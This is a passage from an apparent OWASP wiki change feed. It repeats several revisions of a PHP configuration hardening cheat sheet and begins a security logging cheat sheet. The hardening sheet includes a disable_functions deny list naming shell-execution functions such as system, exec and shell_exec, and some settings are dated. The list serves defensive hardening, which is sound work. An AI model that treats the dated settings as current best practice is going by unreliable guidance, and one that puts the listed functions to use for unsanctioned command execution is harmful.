&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.use_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.use_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new. &lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238505</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238505"/>
				<updated>2018-03-12T03:26:19Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: post_max_size           = 8M suggestions&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.use_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.use_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new. &lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 8M&lt;br /&gt;
  post_max_size           = 8M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238504</id>
		<title>PHP Configuration Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Configuration_Cheat_Sheet&amp;diff=238504"/>
				<updated>2018-03-12T03:24:36Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: upload_max_filesize&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
= Introduction  =&lt;br /&gt;
&lt;br /&gt;
This page is part of the [[PHP Security Cheat Sheet]], for developers and administrators. It describes secure configuration of PHP and its platform.&lt;br /&gt;
====&amp;lt;center&amp;gt;..: Work in Progress :..&amp;lt;/center&amp;gt;====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=Web Server Configuration=&lt;br /&gt;
==Apache==&lt;br /&gt;
===suPHP===&lt;br /&gt;
[http://suphp.org suPHP] makes every php script run as its file owner. This way you are allowed to upload and modify files in your folders without needing to '''chmod 777''' any folder, which is very bad security practice and will let to your files be compromised easily. Install and configure it on your web server.&lt;br /&gt;
&lt;br /&gt;
=PHP Configuration and Deployment=&lt;br /&gt;
==suhosin==&lt;br /&gt;
Consider using [http://www.hardened-php.net/suhosin/index.html Suhosin] (Stefan Esser's [Hardened PHP patch]) if you want to patch many custom security flaws in various parts of PHP. &lt;br /&gt;
&lt;br /&gt;
==php.ini==&lt;br /&gt;
Note that some of following settings need to be adapted to your system, in particular &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/path/&amp;lt;/code&amp;gt; and &amp;lt;code style=&amp;quot;background:#ddd&amp;quot;&amp;gt;/application/&amp;lt;/code&amp;gt;. Also read the [http://www.php.net/manual/ini.core.php PHP Manual] according dependencies of some settings.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====PHP error handlling====&lt;br /&gt;
  expose_php              = Off&lt;br /&gt;
  error_reporting         = E_ALL&lt;br /&gt;
  display_errors          = Off&lt;br /&gt;
  display_startup_errors  = Off&lt;br /&gt;
  log_errors              = On&lt;br /&gt;
  error_log               = /valid_path/PHP-logs/php_error.log&lt;br /&gt;
  ignore_repeated_errors  = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Keep in mind that you need to have display_errors off on a production server and it's a good idea to frequently notice the logs.&lt;br /&gt;
&lt;br /&gt;
====PHP general settings====&lt;br /&gt;
  doc_root                = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  open_basedir            = /path/DocumentRoot/PHP-scripts/&lt;br /&gt;
  include_path            = /path/PHP-pear/&lt;br /&gt;
  extension_dir           = /path/PHP-extensions/&lt;br /&gt;
  mime_magic.magicfile 	  = /path/PHP-magic.mime&lt;br /&gt;
  allow_url_fopen         = Off&lt;br /&gt;
  allow_url_include       = Off&lt;br /&gt;
  variables_order         = &amp;quot;GPSE&amp;quot;&lt;br /&gt;
  allow_webdav_methods    = Off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Allow_url_* prevents LFIs to be easily escalated to RFIs.&lt;br /&gt;
&lt;br /&gt;
====PHP file upload handling====&lt;br /&gt;
  file_uploads            = On&lt;br /&gt;
  upload_tmp_dir          = /path/PHP-uploads/&lt;br /&gt;
  upload_max_filesize     = 2M&lt;br /&gt;
  max_file_uploads        = 2&lt;br /&gt;
  &lt;br /&gt;
It's a good idea to turn it off, if your application is not using file uploads.&lt;br /&gt;
&lt;br /&gt;
====PHP executable handling====&lt;br /&gt;
  enable_dl               = On&lt;br /&gt;
  disable_functions       = system, exec, shell_exec, passthru, phpinfo, show_source, popen, proc_open&lt;br /&gt;
  disable_functions       = fopen_with_path, dbmopen, dbase_open, putenv, move_uploaded_file&lt;br /&gt;
  disable_functions       = chdir, mkdir, rmdir, chmod, rename&lt;br /&gt;
  disable_functions       = filepro, filepro_rowcount, filepro_retrieve, posix_mkfifo&lt;br /&gt;
    # see also: http://ir.php.net/features.safe-mode&lt;br /&gt;
  disable_classes         = &lt;br /&gt;
&lt;br /&gt;
These are dangerous PHP functions. You should disable all that you don't use. &lt;br /&gt;
&lt;br /&gt;
====PHP session handling====&lt;br /&gt;
  session.auto_start      = Off&lt;br /&gt;
  session.save_path       = /path/PHP-session/&lt;br /&gt;
  session.name            = myPHPSESSID&lt;br /&gt;
  session.hash_function   = 1&lt;br /&gt;
  session.hash_bits_per_character = 6&lt;br /&gt;
  session.use_trans_sid   = 0&lt;br /&gt;
  session.cookie_domain   = full.qualified.domain.name&lt;br /&gt;
  #session.cookie_path     = /application/path/&lt;br /&gt;
  session.cookie_lifetime = 0&lt;br /&gt;
  session.cookie_secure   = On&lt;br /&gt;
  session.cookie_httponly = 1&lt;br /&gt;
  session.use_only_cookies= 1&lt;br /&gt;
  session.cache_expire    = 30&lt;br /&gt;
  default_socket_timeout  = 60&lt;br /&gt;
&lt;br /&gt;
It is a good practice to change session.name to something new. &lt;br /&gt;
&lt;br /&gt;
====some more security paranoid checks====&lt;br /&gt;
  session.referer_check   = /application/path&lt;br /&gt;
  memory_limit            = 32M&lt;br /&gt;
  post_max_size           = 32M&lt;br /&gt;
  max_execution_time       = 60&lt;br /&gt;
  report_memleaks         = On&lt;br /&gt;
  track_errors            = Off&lt;br /&gt;
  html_errors             = Off&lt;br /&gt;
&lt;br /&gt;
====PHP Database Settings====&lt;br /&gt;
{{TBD: database sesttings should be done in web server's configuration (i.e. httpd.conf)}}&lt;br /&gt;
&lt;br /&gt;
====PHP Database User====&lt;br /&gt;
{{TBD: explain pros&amp;amp;cons what to set in php.ini and/or httpd.conf and/or registry}}&lt;br /&gt;
&lt;br /&gt;
====PHP Windows specific Settings====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
====PHP Extension====&lt;br /&gt;
{{TBD:}}&lt;br /&gt;
&lt;br /&gt;
= Related Cheat Sheets  =&lt;br /&gt;
&lt;br /&gt;
[[PHP_Security_Cheat_Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] Hoffmann - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
--[[User:Abbas Naderi|AbiusX]] [mailto:abbas.naderi@owasp.org email]&lt;br /&gt;
&lt;br /&gt;
--[[User:Achim|Achim]], 30. November 2012&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Logging_Cheat_Sheet&amp;diff=234504</id>
		<title>Logging Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Logging_Cheat_Sheet&amp;diff=234504"/>
				<updated>2017-10-20T07:27:21Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: /* Related articles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is focused on providing developers with concentrated guidance on building application logging mechanisms, especially related to security logging. Many systems enable network device, operating system, web server, mail server and database server logging, but often custom application event logging is missing, disabled or poorly configured. It provides much greater insight than infrastructure logging alone. Web application (e.g. web site or web service) logging is much more than having web server logs enabled (e.g. using Extended Log File Format).&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
= Purpose =&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Assisting non-repudiation controls&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Anti-automation monitoring&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much. The remainder of this cheat sheet primarily discusses security event logging.&lt;br /&gt;
&lt;br /&gt;
= Design, implementation and testing =&lt;br /&gt;
&lt;br /&gt;
== Event data sources ==&lt;br /&gt;
&lt;br /&gt;
The application itself has access to a wide range of information events that should be used to generate log entries. Thus, the primary event data source is the application code itself.  The application has the most information about the user (e.g. identity, roles, permissions) and the context of the event (target, action, outcomes), and often this data is not available to either infrastructure devices, or even closely-related applications.&lt;br /&gt;
&lt;br /&gt;
Other sources of information about application usage that could also be considered are:&lt;br /&gt;
&lt;br /&gt;
* Client software e.g. actions on desktop software and mobile devices in local logs or using messaging technologies,  JavaScript exception handler via Ajax, web browser such as using Content Security Policy (CSP) reporting mechanism&lt;br /&gt;
* Embedded instrumentation code&lt;br /&gt;
* Network firewalls&lt;br /&gt;
* Network and host intrusion detection systems (NIDS and HIDS)&lt;br /&gt;
* Closely-related applications e.g. filters built into web server software, web server URL redirects/rewrites to scripted custom error pages and handlers&lt;br /&gt;
* Application firewalls e.g. filters, guards, XML gateways, database firewalls, web application firewalls (WAFs)&lt;br /&gt;
* Database applications e.g. automatic audit trails, trigger-based actions&lt;br /&gt;
* Reputation monitoring services e.g. uptime or malware monitoring&lt;br /&gt;
* Other applications e.g. fraud monitoring, CRM&lt;br /&gt;
* Operating system e.g. mobile platform&lt;br /&gt;
&lt;br /&gt;
The degree of confidence in the event information has to be considered when including event data from systems in a different trust zone. Data may be missing, modified, forged, replayed and could be malicious – it must always be treated as untrusted data. Consider how the source can be verified, and how integrity and non-repudiation can be enforced.&lt;br /&gt;
&lt;br /&gt;
== Where to record event data ==&lt;br /&gt;
&lt;br /&gt;
Applications commonly write event log data to the file system or a database (SQL or NoSQL). Applications installed on desktops and on mobile devices may use local storage and local databases, as well as sending data to remote storage. Your selected framework may limit the available choices. All types of applications may send event data to remote systems (instead of or as well as more local storage). This could be a centralized log collection and management system (e.g. SIEM or SEM) or another application elsewhere. Consider whether the application can simply send its event stream, unbuffered, to stdout, for management by the execution environment.&lt;br /&gt;
&lt;br /&gt;
* When using the file system, it is preferable to use a separate partition than those used by the operating system, other application files and user generated content&lt;br /&gt;
** For file-based logs, apply strict permissions concerning which users can access the directories, and the permissions of files within the directories&lt;br /&gt;
** In web applications, the logs should not be exposed in web-accessible locations, and if done so, should have restricted access and be configured with a plain text MIME type (not HTML)&lt;br /&gt;
* When using a database, it is preferable to utilize a separate database account that is only used for writing log data and which has very restrictive database , table, function and command permissions&lt;br /&gt;
* Use standard formats over secure protocols to record and send event data, or log files, to other systems e.g. Common Log File System (CLFS), Common Event Format (CEF) over syslog, possibly Common Event Expression (CEE) in future; standard formats facilitate integration with centralised logging services&lt;br /&gt;
&lt;br /&gt;
Consider separate files/tables for extended event information such as error stack traces or a record of HTTP request and response headers and bodies.&lt;br /&gt;
&lt;br /&gt;
== Which events to log ==&lt;br /&gt;
&lt;br /&gt;
The level and content of security monitoring, alerting and reporting needs to be set during the requirements and design stage of projects, and should be proportionate to the information security risks. This can then be used to define what should be logged. There is no one size fits all solution, and a blind checklist approach can lead to unnecessary &amp;quot;alarm fog&amp;quot; that means real problems go undetected. Where possible, always log:&lt;br /&gt;
&lt;br /&gt;
* Input validation failures e.g. protocol violations, unacceptable encodings, invalid parameter names and values&lt;br /&gt;
* Output validation failures e.g. database record set mismatch, invalid data encoding&lt;br /&gt;
* Authentication successes and failures&lt;br /&gt;
* Authorization (access control) failures&lt;br /&gt;
* Session management failures e.g. cookie session identification value modification&lt;br /&gt;
* Application errors and system events e.g. syntax and runtime errors, connectivity problems, performance issues, third party service error messages, file system errors, file upload virus detection, configuration changes&lt;br /&gt;
* Application and related systems start-ups and shut-downs, and logging initialization (starting, stopping or pausing)&lt;br /&gt;
* Use of higher-risk functionality e.g. network connections, addition or deletion of users, changes to privileges, assigning users to tokens, adding or deleting tokens, use of systems administrative privileges, access by application administrators,all actions by users with administrative privileges,  access to payment cardholder data, use of data encrypting keys, key changes, creation and deletion of system-level objects, data import and export including screen-based reports, submission of user-generated content - especially file uploads&lt;br /&gt;
* Legal and other opt-ins e.g. permissions for mobile phone capabilities, terms of use, terms &amp;amp; conditions, personal data usage consent, permission to receive marketing communications&lt;br /&gt;
&lt;br /&gt;
Optionally consider if the following events can be logged and whether it is desirable information:&lt;br /&gt;
&lt;br /&gt;
* Sequencing failure&lt;br /&gt;
* Excessive use&lt;br /&gt;
* Data changes&lt;br /&gt;
* Fraud and other criminal activities&lt;br /&gt;
* Suspicious, unacceptable or unexpected behavior&lt;br /&gt;
* Modifications to configuration&lt;br /&gt;
* Application code file and/or memory changes&lt;br /&gt;
&lt;br /&gt;
== Event attributes ==&lt;br /&gt;
&lt;br /&gt;
Each log entry needs to include sufficient information for the intended subsequent monitoring and analysis. It could be full content data, but is more likely to be an extract or just summary properties. The application logs must record &amp;quot;when, where, who and what&amp;quot; for each event. The properties for these will be different depending on the architecture, class of application and host system/device, but often include the following:&lt;br /&gt;
&lt;br /&gt;
* When&lt;br /&gt;
** Log date and time (international format)&lt;br /&gt;
** Event date and time - the event time stamp may be different to the time of logging e.g. server logging where the client application is hosted on remote device that is only periodically or intermittently online&lt;br /&gt;
** Interaction identifier [Note A]&lt;br /&gt;
* Where&lt;br /&gt;
** Application identifier e.g. name and version&lt;br /&gt;
** Application address e.g. cluster/host name or server IPv4 or IPv6 address and port number, workstation identity, local device identifier&lt;br /&gt;
** Service e.g. name and protocol&lt;br /&gt;
** Geolocation&lt;br /&gt;
** Window/form/page e.g. entry point URL and HTTP method for a web application, dialogue box name&lt;br /&gt;
** Code location e.g. script name, module name&lt;br /&gt;
* Who (human or machine user)&lt;br /&gt;
** Source address e.g. user's device/machine identifier, user's IP address, cell/RF tower ID, mobile telephone number&lt;br /&gt;
** User identity (if authenticated or otherwise known) e.g. user database table primary key value, user name, license number&lt;br /&gt;
* What&lt;br /&gt;
** Type of event [Note B]&lt;br /&gt;
** Severity of event [Note B] e.g. {0=emergency, 1=alert, ..., 7=debug}, {fatal, error, warning, info, debug, trace}&lt;br /&gt;
** Security relevant event flag (if the logs contain non-security event data too)&lt;br /&gt;
** Description&lt;br /&gt;
&lt;br /&gt;
Additionally consider recording:&lt;br /&gt;
&lt;br /&gt;
* Secondary time source (e.g. GPS) event date and time&lt;br /&gt;
* Action - original intended purpose of the request e.g. Log in, Refresh session ID, Log out, Update profile&lt;br /&gt;
* Object e.g. the affected component or other object (user account, data resource, file) e.g. URL, Session ID, User account, File&lt;br /&gt;
* Result status -  whether the ACTION aimed at the OBJECT was successful e.g. Success, Fail, Defer&lt;br /&gt;
* Reason - why the status above occurred e.g. User not authenticated in database check ..., Incorrect credentials&lt;br /&gt;
* HTTP Status Code (web applications only) - the status code returned to the user (often 200 or 301)&lt;br /&gt;
* Request HTTP headers or HTTP User Agent (web applications only)&lt;br /&gt;
* User type classification e.g. public, authenticated user, CMS user, search engine, authorized penetration tester, uptime monitor (see &amp;quot;Data to exclude&amp;quot; below)&lt;br /&gt;
* Analytical confidence in the event detection [Note B] e.g. low, medium, high or a numeric value&lt;br /&gt;
* Responses seen by the user and/or taken by the application e.g. status code, custom text messages, session termination, administrator alerts&lt;br /&gt;
* Extended details e.g. stack trace, system error messages, debug information, HTTP request body, HTTP response headers and body&lt;br /&gt;
* Internal classifications e.g. responsibility, compliance references&lt;br /&gt;
* External classifications e.g. NIST Security Content Automation Protocol (SCAP), Mitre Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
&lt;br /&gt;
For more information on these, see the &amp;quot;other&amp;quot; related articles listed at the end, especially the comprehensive article by Anton Chuvakin and Gunnar Peterson.&lt;br /&gt;
&lt;br /&gt;
Note A: The &amp;quot;Interaction identifier&amp;quot; is a method of linking all (relevant) events for a single user interaction (e.g. desktop application form submission, web page request, mobile app button click, web service call). The application knows all these events relate to the same interaction, and this should be recorded instead of losing the information and forcing subsequent correlation techniques to re-construct the separate events. For example a single SOAP request may have multiple input validation failures and they may span a small range of times. As another example, an output validation failure may occur much later than the input submission for a long-running &amp;quot;saga request&amp;quot; submitted by the application to a database server.&lt;br /&gt;
&lt;br /&gt;
Note B: Each organisation should ensure it has a consistent, and documented, approach to classification of events (type, confidence, severity), the syntax of descriptions, and field lengths &amp;amp; data types including the format used for dates/times.&lt;br /&gt;
&lt;br /&gt;
== Data to exclude ==&lt;br /&gt;
&lt;br /&gt;
Never log data unless it is legally sanctioned. For example intercepting some communications, monitoring employees, and collecting some data without consent may all be illegal.&lt;br /&gt;
&lt;br /&gt;
Never exclude any events from &amp;quot;known&amp;quot; users such as other internal systems, &amp;quot;trusted&amp;quot; third parties, search engine robots, uptime/process and other remote monitoring systems, pen testers, auditors. However, you may want to include a classification flag for each of these in the recorded data.&lt;br /&gt;
&lt;br /&gt;
The following should not usually be recorded directly in the logs, but instead should be removed, masked, sanitized, hashed or encrypted:&lt;br /&gt;
&lt;br /&gt;
* Application source code&lt;br /&gt;
* Session identification values (consider replacing with a hashed value if needed to track session specific events)&lt;br /&gt;
* Access tokens&lt;br /&gt;
* Sensitive personal data and some forms of personally identifiable information (PII) e.g. health, government identifiers, vulnerable people&lt;br /&gt;
* Authentication passwords&lt;br /&gt;
* Database connection strings&lt;br /&gt;
* Encryption keys and other master secrets&lt;br /&gt;
* Bank account or payment card holder data&lt;br /&gt;
* Data of a higher security classification than the logging system is allowed to store&lt;br /&gt;
* Commercially-sensitive information&lt;br /&gt;
* Information it is illegal to collect in the relevant jurisdictions&lt;br /&gt;
* Information a user has opted out of collection, or not consented to e.g. use of do not track, or where consent to collect has expired&lt;br /&gt;
&lt;br /&gt;
Sometimes the following data can also exist, and whilst useful for subsequent investigation, it may also need to be treated in some special manner before the event is recorded:&lt;br /&gt;
&lt;br /&gt;
* File paths&lt;br /&gt;
* Database connection strings&lt;br /&gt;
* Internal network names and addresses&lt;br /&gt;
* Non sensitive personal data (e.g. personal names, telephone numbers, email addresses)&lt;br /&gt;
&lt;br /&gt;
Consider using personal data de-identification techniques such as deletion, scrambling or pseudonymization of direct and indirect identifiers where the individual's identity is not required, or the risk is considered too great.&lt;br /&gt;
&lt;br /&gt;
In some systems, sanitization can be undertaken post log collection, and prior to log display.&lt;br /&gt;
&lt;br /&gt;
== Customizable logging ==&lt;br /&gt;
&lt;br /&gt;
It may be desirable to be able to alter the level of logging (type of events based on severity or threat level, amount of detail recorded). If this is implemented, ensure that:&lt;br /&gt;
&lt;br /&gt;
* The default level must provide sufficient detail for business needs&lt;br /&gt;
